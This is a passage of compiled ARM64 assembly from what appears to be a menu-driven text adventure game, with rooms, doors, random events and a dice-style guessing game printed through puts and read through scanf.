and w0, w0, 255
cmp w0, 0
beq .L108
ldrb w0, [sp, 55]
eor w0, w0, 1
and w0, w0, 255
cmp w0, 0
beq .L111
adrp x0, .LC131
add x0, x0, :lo12:.LC131
bl puts
adrp x0, .LC132
add x0, x0, :lo12:.LC132
bl puts
adrp x0, .LC133
add x0, x0, :lo12:.LC133
bl puts
adrp x0, .LC134
add x0, x0, :lo12:.LC134
bl puts
adrp x0, .LC135
add x0, x0, :lo12:.LC135
bl puts
adrp x0, .LC136
add x0, x0, :lo12:.LC136
bl puts
nop
.L112:
bl mQuserInput
cmp w0, 0
beq .L108
bl mQparser
cmp w0, 0
bne .L112
b .L108
.L111:
ldrb w0, [sp, 55]
cmp w0, 0
beq .L108
adrp x0, .LC137
add x0, x0, :lo12:.LC137
bl puts
adrp x0, .LC138
add x0, x0, :lo12:.LC138
bl puts
adrp x0, .LC139
add x0, x0, :lo12:.LC139
bl puts
adrp x0, .LC140
add x0, x0, :lo12:.LC140
bl puts
b .L113
.L108:
ldr w0, [sp, 60]
cmp w0, 99
bne .L114
.L113:
nop
b .L2
.L120:
mov x0, 100
str x0, [sp, 368]
str xzr, [sp, 376]
mov w0, 120
strb w0, [sp, 76]
mov w0, 121
strb w0, [sp, 53]
adrp x0, .LC141
add x0, x0, :lo12:.LC141
bl puts
adrp x0, .LC142
add x0, x0, :lo12:.LC142
bl puts
adrp x0, .LC143
add x0, x0, :lo12:.LC143
bl puts
adrp x0, .LC144
add x0, x0, :lo12:.LC144
bl puts
adrp x0, .LC145
add x0, x0, :lo12:.LC145
bl puts
adrp x0, .LC146
add x0, x0, :lo12:.LC146
bl puts
adrp x0, .LC147
add x0, x0, :lo12:.LC147
bl puts
adrp x0, .LC148
add x0, x0, :lo12:.LC148
bl puts
adrp x0, .LC149
add x0, x0, :lo12:.LC149
bl puts
adrp x0, .LC150
add x0, x0, :lo12:.LC150
bl puts
adrp x0, .LC151
add x0, x0, :lo12:.LC151
bl puts
adrp x0, .LC152
add x0, x0, :lo12:.LC152
bl puts
adrp x0, .LC153
add x0, x0, :lo12:.LC153
bl puts
adrp x0, .LC154
add x0, x0, :lo12:.LC154
bl puts
adrp x0, .LC155
add x0, x0, :lo12:.LC155
bl puts
adrp x0, .LC156
add x0, x0, :lo12:.LC156
bl puts
adrp x0, .LC157
add x0, x0, :lo12:.LC157
bl puts
adrp x0, .LC158
add x0, x0, :lo12:.LC158
bl puts
adrp x0, .LC159
add x0, x0, :lo12:.LC159
bl puts
adrp x0, .LC160
add x0, x0, :lo12:.LC160
bl puts
add x0, sp, 76
mov x1, x0
adrp x0, .LC161
add x0, x0, :lo12:.LC161
bl __isoc99_scanf
ldrb w0, [sp, 76]
cmp w0, 121
beq .L116
cmp w0, 121
bgt .L117
cmp w0, 110
beq .L375
cmp w0, 110
bgt .L117
cmp w0, 78
beq .L375
cmp w0, 89
bne .L117
.L116:
adrp x0, .LC162
add x0, x0, :lo12:.LC162
bl puts
adrp x0, .LC163
add x0, x0, :lo12:.LC163
bl puts
adrp x0, .LC164
add x0, x0, :lo12:.LC164
bl puts
adrp x0, .LC165
add x0, x0, :lo12:.LC165
bl puts
adrp x0, .LC166
add x0, x0, :lo12:.LC166
bl puts
adrp x0, .LC167
add x0, x0, :lo12:.LC167
bl puts
adrp x0, .LC168
add x0, x0, :lo12:.LC168
bl puts
adrp x0, .LC169
add x0, x0, :lo12:.LC169
bl puts
adrp x0, .LC170
add x0, x0, :lo12:.LC170
bl puts
adrp x0, .LC171
add x0, x0, :lo12:.LC171
bl puts
adrp x0, .LC172
add x0, x0, :lo12:.LC172
bl puts
b .L119
.L117:
adrp x0, .LC173
add x0, x0, :lo12:.LC173
bl puts
b .L119
.L375:
nop
.L119:
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L115:
ldr w0, [sp, 60]
cmp w0, 99
bne .L120
b .L2
.L126:
mov x0, 0
bl time
bl srand
str wzr, [sp, 96]
b .L122
.L123:
ldrsw x0, [sp, 96]
add x1, sp, 3008
ldrb w0, [x1, x0]
bl toupper
and w2, w0, 255
ldrsw x0, [sp, 96]
add x1, sp, 3520
strb w2, [x1, x0]
ldr w0, [sp, 96]
add w0, w0, 1
str w0, [sp, 96]
.L122:
ldr w0, [sp, 96]
cmp w0, 27
ble .L123
add x0, sp, 3520
mov x1, x0
adrp x0, .LC174
add x0, x0, :lo12:.LC174
bl printf
adrp x0, .LC175
add x0, x0, :lo12:.LC175
bl puts
adrp x0, .LC176
add x0, x0, :lo12:.LC176
bl puts
adrp x0, .LC177
add x0, x0, :lo12:.LC177
bl puts
add x0, sp, 3008
mov x1, x0
adrp x0, .LC178
add x0, x0, :lo12:.LC178
bl printf
add x0, sp, 76
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
bl rand
mov w1, w0
mov w0, 34079
movk w0, 0x51eb, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 7
asr w0, w1, 31
sub w0, w2, w0
mov w2, 400
mul w0, w0, w2
sub w0, w1, w0
add w0, w0, 600
str w0, [sp, 264]
ldr w0, [sp, 76]
ldr w1, [sp, 264]
sub w0, w1, w0
cmp w0, 200
bgt .L124
add x0, sp, 3008
mov x2, x0
ldr w1, [sp, 264]
adrp x0, .LC179
add x0, x0, :lo12:.LC179
bl printf
b .L121
.L124:
add x0, sp, 3008
mov x2, x0
ldr w1, [sp, 264]
adrp x0, .LC180
add x0, x0, :lo12:.LC180
bl printf
.L121:
ldr w0, [sp, 60]
cmp w0, 99
bne .L126
b .L2
.L132:
adrp x0, .LC181
add x0, x0, :lo12:.LC181
bl puts
adrp x0, .LC182
add x0, x0, :lo12:.LC182
bl puts
adrp x0, .LC183
add x0, x0, :lo12:.LC183
bl puts
adrp x0, .LC184
add x0, x0, :lo12:.LC184
bl puts
adrp x0, .LC185
add x0, x0, :lo12:.LC185
bl puts
adrp x0, .LC186
add x0, x0, :lo12:.LC186
bl puts
adrp x0, .LC187
add x0, x0, :lo12:.LC187
bl puts
adrp x0, .LC188
add x0, x0, :lo12:.LC188
bl puts
adrp x0, .LC189
add x0, x0, :lo12:.LC189
bl puts
add x0, sp, 76
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 76]
cmp w0, 3
beq .L128
cmp w0, 3
bgt .L129
cmp w0, 1
beq .L130
cmp w0, 2
beq .L131
b .L129
.L130:
bl demondoor
b .L127
.L131:
add x0, sp, 3008
bl angeldoor
b .L127
.L128:
bl broomcloset
b .L127
.L129:
adrp x0, .LC190
add x0, x0, :lo12:.LC190
bl puts
.L127:
ldr w0, [sp, 60]
cmp w0, 99
bne .L132
nop
b .L2
.L382:
nop
.L133:
ldr w0, [sp, 60]
cmp w0, 99
bne .L133
b .L2
.L137:
mov w0, 5
str w0, [sp, 76]
adrp x0, .LC191
add x0, x0, :lo12:.LC191
bl puts
adrp x0, .LC192
add x0, x0, :lo12:.LC192
bl puts
add x0, sp, 3520
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
b .L135
.L136:
adrp x0, .LC193
add x0, x0, :lo12:.LC193
bl puts
adrp x0, .LC194
add x0, x0, :lo12:.LC194
bl puts
adrp x0, .LC195
add x0, x0, :lo12:.LC195
bl puts
adrp x0, .LC196
add x0, x0, :lo12:.LC196
bl puts
adrp x0, .LC197
add x0, x0, :lo12:.LC197
bl puts
adrp x0, .LC198
add x0, x0, :lo12:.LC198
bl puts
add x0, sp, 76
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 76]
cmp w0, 5
bne .L135
adrp x0, .LC199
add x0, x0, :lo12:.LC199
bl puts
adrp x0, .LC200
add x0, x0, :lo12:.LC200
bl puts
adrp x0, .LC201
add x0, x0, :lo12:.LC201
bl puts
adrp x0, .LC202
add x0, x0, :lo12:.LC202
bl puts
adrp x0, .LC203
add x0, x0, :lo12:.LC203
bl puts
adrp x0, .LC204
add x0, x0, :lo12:.LC204
bl puts
adrp x0, .LC205
add x0, x0, :lo12:.LC205
bl puts
adrp x0, .LC206
add x0, x0, :lo12:.LC206
bl puts
adrp x0, .LC207
add x0, x0, :lo12:.LC207
bl puts
.L135:
ldr w0, [sp, 76]
cmp w0, 5
beq .L136
adrp x0, .LC208
add x0, x0, :lo12:.LC208
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L134:
ldr w0, [sp, 60]
cmp w0, 99
bne .L137
b .L2
.L140:
adrp x0, .LC209
add x0, x0, :lo12:.LC209
bl puts
adrp x0, .LC210
add x0, x0, :lo12:.LC210
bl puts
adrp x0, .LC211
add x0, x0, :lo12:.LC211
bl puts
b .L139
.L370:
nop
ldr w0, [sp, 60]
cmp w0, 99
bne .L140
.L139:
b .L2
.L146:
mov x0, 0
bl time
bl srand
add x0, sp, 3008
bl monikawelcome
adrp x0, .LC212
add x0, x0, :lo12:.LC212
bl puts
adrp x0, .LC213
add x0, x0, :lo12:.LC213
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 3
beq .L142
cmp w0, 3
bgt .L141
cmp w0, 1
beq .L144
cmp w0, 2
beq .L145
b .L141
.L144:
add x0, sp, 3520
bl monikacase1
b .L141
.L145:
add x0, sp, 3520
bl monikacase2
b .L141
.L142:
add x0, sp, 3520
bl monikacase3
nop
.L141:
ldr w0, [sp, 60]
cmp w0, 99
bne .L146
b .L147
.L152:
adrp x0, .LC214
add x0, x0, :lo12:.LC214
bl puts
adrp x0, .LC215
add x0, x0, :lo12:.LC215
bl puts
adrp x0, .LC216
add x0, x0, :lo12:.LC216
bl puts
adrp x0, .LC217
add x0, x0, :lo12:.LC217
bl puts
adrp x0, .LC218
add x0, x0, :lo12:.LC218
bl puts
adrp x0, .LC219
add x0, x0, :lo12:.LC219
bl puts
adrp x0, .LC220
add x0, x0, :lo12:.LC220
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L148
adrp x0, .LC221
add x0, x0, :lo12:.LC221
bl puts
adrp x0, .LC222
add x0, x0, :lo12:.LC222
bl puts
b .L149
.L148:
ldr w0, [sp, 60]
cmp w0, 2
bne .L150
adrp x0, .LC223
add x0, x0, :lo12:.LC223
bl puts
b .L149
.L150:
ldr w0, [sp, 60]
cmp w0, 3
bne .L151
adrp x0, .LC224
add x0, x0, :lo12:.LC224
bl puts
b .L147
.L151:
adrp x0, .LC225
add x0, x0, :lo12:.LC225
bl puts
.L147:
ldr w0, [sp, 60]
cmp w0, 99
bne .L152
.L149:
b .L2
.L154:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L153:
ldr w0, [sp, 60]
cmp w0, 99
bne .L154
b .L2
.L156:
adrp x0, .LC227
add x0, x0, :lo12:.LC227
bl puts
adrp x0, .LC228
add x0, x0, :lo12:.LC228
bl puts
adrp x0, .LC229
add x0, x0, :lo12:.LC229
bl printf
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L155:
ldr w0, [sp, 60]
cmp w0, 99
bne .L156
b .L2
.L161:
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC230
add x0, x0, :lo12:.LC230
bl fopen
str x0, [sp, 344]
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC231
add x0, x0, :lo12:.LC231
bl fopen
str x0, [sp, 352]
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC232
add x0, x0, :lo12:.LC232
bl fopen
str x0, [sp, 360]
b .L158
.L160:
adrp x0, .LC233
add x0, x0, :lo12:.LC233
bl puts
ldr x0, [sp, 344]
bl room19_readFile
add x0, sp, 3008
mov x1, x0
adrp x0, .LC234
add x0, x0, :lo12:.LC234
bl printf
bl doorDecision
str w0, [sp, 60]
ldr w0, [sp, 60]
cmp w0, 1
bne .L159
ldr x0, [sp, 352]
bl room19_readFile
adrp x0, .LC235
add x0, x0, :lo12:.LC235
bl puts
mov w0, 4
bl sleep
ldr x0, [sp, 360]
bl room19_readFile
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
b .L158
.L159:
add x0, sp, 3008
mov x1, x0
adrp x0, .LC236
add x0, x0, :lo12:.LC236
bl printf
nop
.L158:
ldr w0, [sp, 60]
cmp w0, 99
bne .L160
ldr x0, [sp, 344]
bl fclose
ldr x0, [sp, 352]
bl fclose
ldr x0, [sp, 360]
bl fclose
.L157:
ldr w0, [sp, 60]
cmp w0, 99
bne .L161
b .L2
.L172:
adrp x0, .LC237
add x0, x0, :lo12:.LC237
bl puts
bl patrickInitialPrompt
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L163
adrp x0, .LC238
add x0, x0, :lo12:.LC238
bl puts
adrp x0, .LC239
add x0, x0, :lo12:.LC239
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
beq .L164
cmp w0, 2
beq .L165
b .L162
.L164:
adrp x0, .LC240
add x0, x0, :lo12:.LC240
bl puts
b .L162
.L165:
adrp x0, .LC241
add x0, x0, :lo12:.LC241
bl puts
b .L162
.L163:
ldr w0, [sp, 60]
cmp w0, 2
bne .L167
adrp x0, .LC242
add x0, x0, :lo12:.LC242
bl puts
b .L162
.L167:
ldr w0, [sp, 60]
cmp w0, 3
bne .L162
str wzr, [sp, 104]
adrp x0, .LC243
add x0, x0, :lo12:.LC243
bl puts
adrp x0, .LC244
add x0, x0, :lo12:.LC244
bl puts
adrp x0, .LC245
add x0, x0, :lo12:.LC245
bl puts
add x0, sp, 76
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
b .L168
.L169:
adrp x0, .LC246
add x0, x0, :lo12:.LC246
bl puts
adrp x0, .LC247
add x0, x0, :lo12:.LC247
bl printf
add x0, sp, 76
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L168:
ldr w0, [sp, 76]
cmp w0, 10
bgt .L169
ldr w0, [sp, 76]
cmp w0, 0
ble .L169
str wzr, [sp, 100]
b .L170
.L171:
ldr w0, [sp, 100]
add w0, w0, 1
mov w1, w0
adrp x0, .LC248
add x0, x0, :lo12:.LC248
bl printf
add x1, sp, 960
ldrsw x0, [sp, 100]
lsl x0, x0, 2
add x0, x1, x0
mov x1, x0
adrp x0, .LC97
add x0, x0, :lo12:.LC97
bl __isoc99_scanf
ldrsw x0, [sp, 100]
lsl x0, x0, 2
add x1, sp, 960
ldr s0, [x1, x0]
ldr s1, [sp, 104]
fadd s0, s1, s0
str s0, [sp, 104]
ldr w0, [sp, 100]
add w0, w0, 1
str w0, [sp, 100]
.L170:
ldr w0, [sp, 76]
ldr w1, [sp, 100]
cmp w1, w0
blt .L171
ldr s0, [sp, 76]
scvtf s0, s0
ldr s1, [sp, 104]
fdiv s0, s1, s0
str s0, [sp, 260]
ldr s0, [sp, 260]
fcvt d0, s0
adrp x0, .LC249
add x0, x0, :lo12:.LC249
bl printf
.L162:
ldr w0, [sp, 60]
cmp w0, 99
bne .L172
b .L2
.L182:
str wzr, [sp, 108]
str wzr, [sp, 112]
mov x0, 0
bl time
bl srand
adrp x0, .LC250
add x0, x0, :lo12:.LC250
bl puts
adrp x0, .LC251
add x0, x0, :lo12:.LC251
bl puts
adrp x0, .LC252
add x0, x0, :lo12:.LC252
bl puts
adrp x0, .LC253
add x0, x0, :lo12:.LC253
bl puts
adrp x0, .LC254
add x0, x0, :lo12:.LC254
bl puts
str wzr, [sp, 80]
b .L174
.L177:
bl rand
cmp w0, 0
and w0, w0, 1
csneg w0, w0, w0, ge
str w0, [sp, 256]
ldr w0, [sp, 256]
cmp w0, 1
bne .L175
ldr w0, [sp, 108]
add w0, w0, 1
str w0, [sp, 108]
adrp x0, .LC255
add x0, x0, :lo12:.LC255
bl puts
adrp x0, .LC256
add x0, x0, :lo12:.LC256
bl puts
b .L176
.L175:
ldr w0, [sp, 112]
add w0, w0, 1
str w0, [sp, 112]
adrp x0, .LC257
add x0, x0, :lo12:.LC257
bl puts
adrp x0, .LC258
add x0, x0, :lo12:.LC258
bl puts
.L176:
add x0, sp, 3008
mov x1, x0
adrp x0, .LC259
add x0, x0, :lo12:.LC259
bl printf
adrp x0, .LC260
add x0, x0, :lo12:.LC260
bl puts
adrp x0, .LC261
add x0, x0, :lo12:.LC261
bl puts
adrp x0, .LC262
add x0, x0, :lo12:.LC262
bl puts
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L174:
ldr w0, [sp, 80]
cmp w0, 0
ble .L177
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
beq .L178
cmp w0, 2
beq .L179
b .L173
.L178:
ldr w0, [sp, 108]
cmp w0, 1
bne .L180
adrp x0, .LC263
add x0, x0, :lo12:.LC263
bl puts
.L180:
adrp x0, .LC264
add x0, x0, :lo12:.LC264
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
b .L173
.L179:
ldr w0, [sp, 112]
cmp w0, 1
bne .L383
adrp x0, .LC265
add x0, x0, :lo12:.LC265
bl puts
adrp x0, .LC264
add x0, x0, :lo12:.LC264
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L383:
nop
.L173:
ldr w0, [sp, 60]
cmp w0, 99
bne .L182
b .L2
.L184:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L183:
ldr w0, [sp, 60]
cmp w0, 99
bne .L184
b .L2
.L190:
adrp x0, .LC266
add x0, x0, :lo12:.LC266
bl puts
adrp x0, .LC267
add x0, x0, :lo12:.LC267
bl puts
adrp x0, .LC268
add x0, x0, :lo12:.LC268
bl puts
adrp x0, .LC269
add x0, x0, :lo12:.LC269
bl puts
adrp x0, .LC270
add x0, x0, :lo12:.LC270
bl puts
adrp x0, .LC271
add x0, x0, :lo12:.LC271
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC272
add x0, x0, :lo12:.LC272
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 3
beq .L186
cmp w0, 3
bgt .L187
cmp w0, 1
beq .L188
cmp w0, 2
beq .L189
b .L187
.L188:
adrp x0, .LC273
add x0, x0, :lo12:.LC273
bl puts
adrp x0, .LC274
add x0, x0, :lo12:.LC274
bl puts
mov w0, 100
str w0, [sp, 56]
mov w0, 100
str w0, [sp, 244]
mov w0, 1
str w0, [sp, 248]
ldr w0, [sp, 56]
ldr w2, [sp, 248]
ldr w1, [sp, 244]
bl dpsCalc
str w0, [sp, 252]
ldr w1, [sp, 248]
ldr w0, [sp, 252]
bl printResults
b .L187
.L189:
adrp x0, .LC275
add x0, x0, :lo12:.LC275
bl puts
adrp x0, .LC276
add x0, x0, :lo12:.LC276
bl puts
mov w0, 100
str w0, [sp, 56]
mov w0, 100
str w0, [sp, 244]
mov w0, 2
str w0, [sp, 248]
ldr w0, [sp, 56]
ldr w2, [sp, 248]
ldr w1, [sp, 244]
bl dpsCalc
str w0, [sp, 252]
ldr w1, [sp, 248]
ldr w0, [sp, 252]
bl printResults
b .L187
.L186:
adrp x0, .LC277
add x0, x0, :lo12:.LC277
bl puts
nop
.L187:
adrp x0, .LC278
add x0, x0, :lo12:.LC278
bl puts
mov w0, 0
bl exit
.L371:
nop
ldr w0, [sp, 60]
cmp w0, 99
bne .L190
b .L2
.L197:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
adrp x0, .LC279
add x0, x0, :lo12:.LC279
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
str wzr, [sp, 960]
bl urGuess
str w0, [sp, 236]
add x0, sp, 960
ldr w1, [sp, 236]
bl Anumber
str w0, [sp, 240]
ldr w0, [sp, 240]
cmp w0, 0
beq .L192
ldr w0, [sp, 240]
cmn w0, #1
beq .L192
adrp x0, .LC280
add x0, x0, :lo12:.LC280
bl puts
b .L191
.L192:
ldr w0, [sp, 240]
cmn w0, #1
bne .L194
adrp x0, .LC281
add x0, x0, :lo12:.LC281
bl puts
b .L191
.L194:
ldr w0, [sp, 240]
cmp w0, 10
ble .L195
ldr w0, [sp, 240]
cmp w0, 98
bgt .L195
adrp x0, .LC282
add x0, x0, :lo12:.LC282
bl puts
b .L191
.L195:
ldr w0, [sp, 240]
cmp w0, 99
beq .L376
.L191:
ldr w0, [sp, 60]
cmp w0, 99
bne .L197
b .L2
.L376:
nop
b .L2
.L201:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
adrp x0, .LC283
add x0, x0, :lo12:.LC283
bl puts
adrp x0, .LC284
add x0, x0, :lo12:.LC284
bl puts
adrp x0, .LC285
add x0, x0, :lo12:.LC285
bl puts
adrp x0, .LC286
add x0, x0, :lo12:.LC286
bl puts
adrp x0, .LC287
add x0, x0, :lo12:.LC287
bl puts
adrp x0, .LC288
add x0, x0, :lo12:.LC288
bl puts
adrp x0, .LC289
add x0, x0, :lo12:.LC289
bl printf
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L199
adrp x0, .LC290
add x0, x0, :lo12:.LC290
bl puts
adrp x0, .LC291
add x0, x0, :lo12:.LC291
bl puts
adrp x0, .LC292
add x0, x0, :lo12:.LC292
bl puts
adrp x0, .LC293
add x0, x0, :lo12:.LC293
bl puts
adrp x0, .LC294
add x0, x0, :lo12:.LC294
bl puts
.L199:
ldr w0, [sp, 60]
cmp w0, 2
bne .L200
adrp x0, .LC295
add x0, x0, :lo12:.LC295
bl puts
adrp x0, .LC296
add x0, x0, :lo12:.LC296
bl puts
adrp x0, .LC297
add x0, x0, :lo12:.LC297
bl puts
adrp x0, .LC298
add x0, x0, :lo12:.LC298
bl puts
adrp x0, .LC299
add x0, x0, :lo12:.LC299
bl puts
adrp x0, .LC300
add x0, x0, :lo12:.LC300
bl puts
adrp x0, .LC301
add x0, x0, :lo12:.LC301
bl puts
adrp x0, .LC302
add x0, x0, :lo12:.LC302
bl puts
adrp x0, .LC303
add x0, x0, :lo12:.LC303
bl puts
.L200:
ldr w0, [sp, 60]
cmp w0, 3
bne .L198
adrp x0, .LC304
add x0, x0, :lo12:.LC304
bl puts
adrp x0, .LC305
add x0, x0, :lo12:.LC305
bl puts
adrp x0, .LC306
add x0, x0, :lo12:.LC306
bl puts
adrp x0, .LC307
add x0, x0, :lo12:.LC307
bl puts
adrp x0, .LC308
add x0, x0, :lo12:.LC308
bl puts
.L198:
ldr w0, [sp, 60]
cmp w0, 99
bne .L201
b .L2
.L209:
str wzr, [sp, 76]
adrp x0, .LC1
add x1, x0, :lo12:.LC1
add x0, sp, 960
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr w1, [x1, 32]
str w1, [x0, 32]
adrp x0, .LC309
add x0, x0, :lo12:.LC309
bl puts
adrp x0, .LC310
add x0, x0, :lo12:.LC310
bl puts
adrp x0, .LC311
add x0, x0, :lo12:.LC311
bl puts
adrp x0, .LC312
add x0, x0, :lo12:.LC312
bl puts
.L208:
adrp x0, .LC313
add x0, x0, :lo12:.LC313
bl puts
adrp x0, .LC314
add x0, x0, :lo12:.LC314
bl puts
adrp x0, .LC315
add x0, x0, :lo12:.LC315
bl puts
adrp x0, .LC316
add x0, x0, :lo12:.LC316
bl puts
adrp x0, .LC317
add x0, x0, :lo12:.LC317
bl puts
adrp x0, .LC318
add x0, x0, :lo12:.LC318
bl printf
add x0, sp, 76
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 76]
cmp w0, 4
beq .L203
cmp w0, 4
bgt .L204
cmp w0, 3
beq .L205
cmp w0, 3
bgt .L204
cmp w0, 1
beq .L206
cmp w0, 2
beq .L207
b .L204
.L206:
add x0, sp, 960
mov w1, 9
bl greenUSB26
b .L204
.L207:
bl blueUSB26
b .L204
.L205:
bl redUSB26
b .L204
.L203:
bl lockedDoor26
nop
.L204:
ldr w0, [sp, 76]
cmp w0, 5
bne .L208
adrp x0, .LC319
add x0, x0, :lo12:.LC319
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L202:
ldr w0, [sp, 60]
cmp w0, 99
bne .L209
b .L2
.L218:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
adrp x0, .LC320
add x0, x0, :lo12:.LC320
bl puts
adrp x0, .LC321
add x0, x0, :lo12:.LC321
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L211
adrp x0, .LC322
add x0, x0, :lo12:.LC322
bl puts
adrp x0, .LC323
add x0, x0, :lo12:.LC323
bl puts
adrp x0, .LC324
add x0, x0, :lo12:.LC324
bl puts
add x0, sp, 3008
mov x1, x0
adrp x0, .LC325
add x0, x0, :lo12:.LC325
bl __isoc99_scanf
adrp x0, .LC326
add x0, x0, :lo12:.LC326
bl puts
adrp x0, .LC327
add x0, x0, :lo12:.LC327
bl puts
adrp x0, .LC328
add x0, x0, :lo12:.LC328
bl puts
b .L212
.L211:
adrp x0, .LC329
add x0, x0, :lo12:.LC329
bl puts
adrp x0, .LC330
add x0, x0, :lo12:.LC330
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L213
adrp x0, .LC331
add x0, x0, :lo12:.LC331
bl puts
adrp x0, .LC332
add x0, x0, :lo12:.LC332
bl puts
adrp x0, .LC333
add x0, x0, :lo12:.LC333
bl puts
b .L212
.L213:
adrp x0, .LC334
add x0, x0, :lo12:.LC334
bl puts
adrp x0, .LC335
add x0, x0, :lo12:.LC335
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L210
adrp x0, .LC336
add x0, x0, :lo12:.LC336
bl puts
adrp x0, .LC337
add x0, x0, :lo12:.LC337
bl puts
adrp x0, .LC338
add x0, x0, :lo12:.LC338
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 0
bne .L214
adrp x0, .LC339
add x0, x0, :lo12:.LC339
bl puts
b .L210
.L214:
ldr w0, [sp, 60]
cmp w0, 1
bne .L215
b .L216
.L217:
adrp x0, .LC340
add x0, x0, :lo12:.LC340
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L216:
ldr w0, [sp, 60]
cmn w0, #1
bne .L217
b .L210
.L215:
adrp x0, .LC341
add x0, x0, :lo12:.LC341
bl puts
adrp x0, .LC342
add x0, x0, :lo12:.LC342
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L210:
ldr w0, [sp, 60]
cmp w0, 99
bne .L218
.L212:
b .L2
.L220:
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
adrp x0, .LC77
add x0, x0, :lo12:.LC77
bl printf
adrp x0, .LC343
add x0, x0, :lo12:.LC343
bl printf
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L219:
ldr w0, [sp, 60]
cmp w0, 99
bne .L220
b .L2
.L237:
mov w0, 5
str w0, [sp, 64]
str wzr, [sp, 68]
str wzr, [sp, 204]
str wzr, [sp, 208]
str wzr, [sp, 212]
str wzr, [sp, 216]
str wzr, [sp, 72]
str wzr, [sp, 220]
str wzr, [sp, 224]
str wzr, [sp, 228]
str wzr, [sp, 120]
adrp x0, .LC60
add x1, x0, :lo12:.LC60
adrp x0, .LC344
add x0, x0, :lo12:.LC344
bl fopen
str x0, [sp, 336]
mov x0, 0
bl time
bl srand
adrp x0, .LC345
add x0, x0, :lo12:.LC345
bl puts
adrp x0, .LC226
add x0, x0, :lo12:.LC226
bl puts
adrp x0, .LC346
add x0, x0, :lo12:.LC346
bl puts
adrp x0, .LC347
add x0, x0, :lo12:.LC347
bl puts
adrp x0, .LC348
add x0, x0, :lo12:.LC348
bl puts
add x0, sp, 64
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 64]
cmp w0, 0
bne .L222
adrp x0, .LC349
add x0, x0, :lo12:.LC349
bl puts
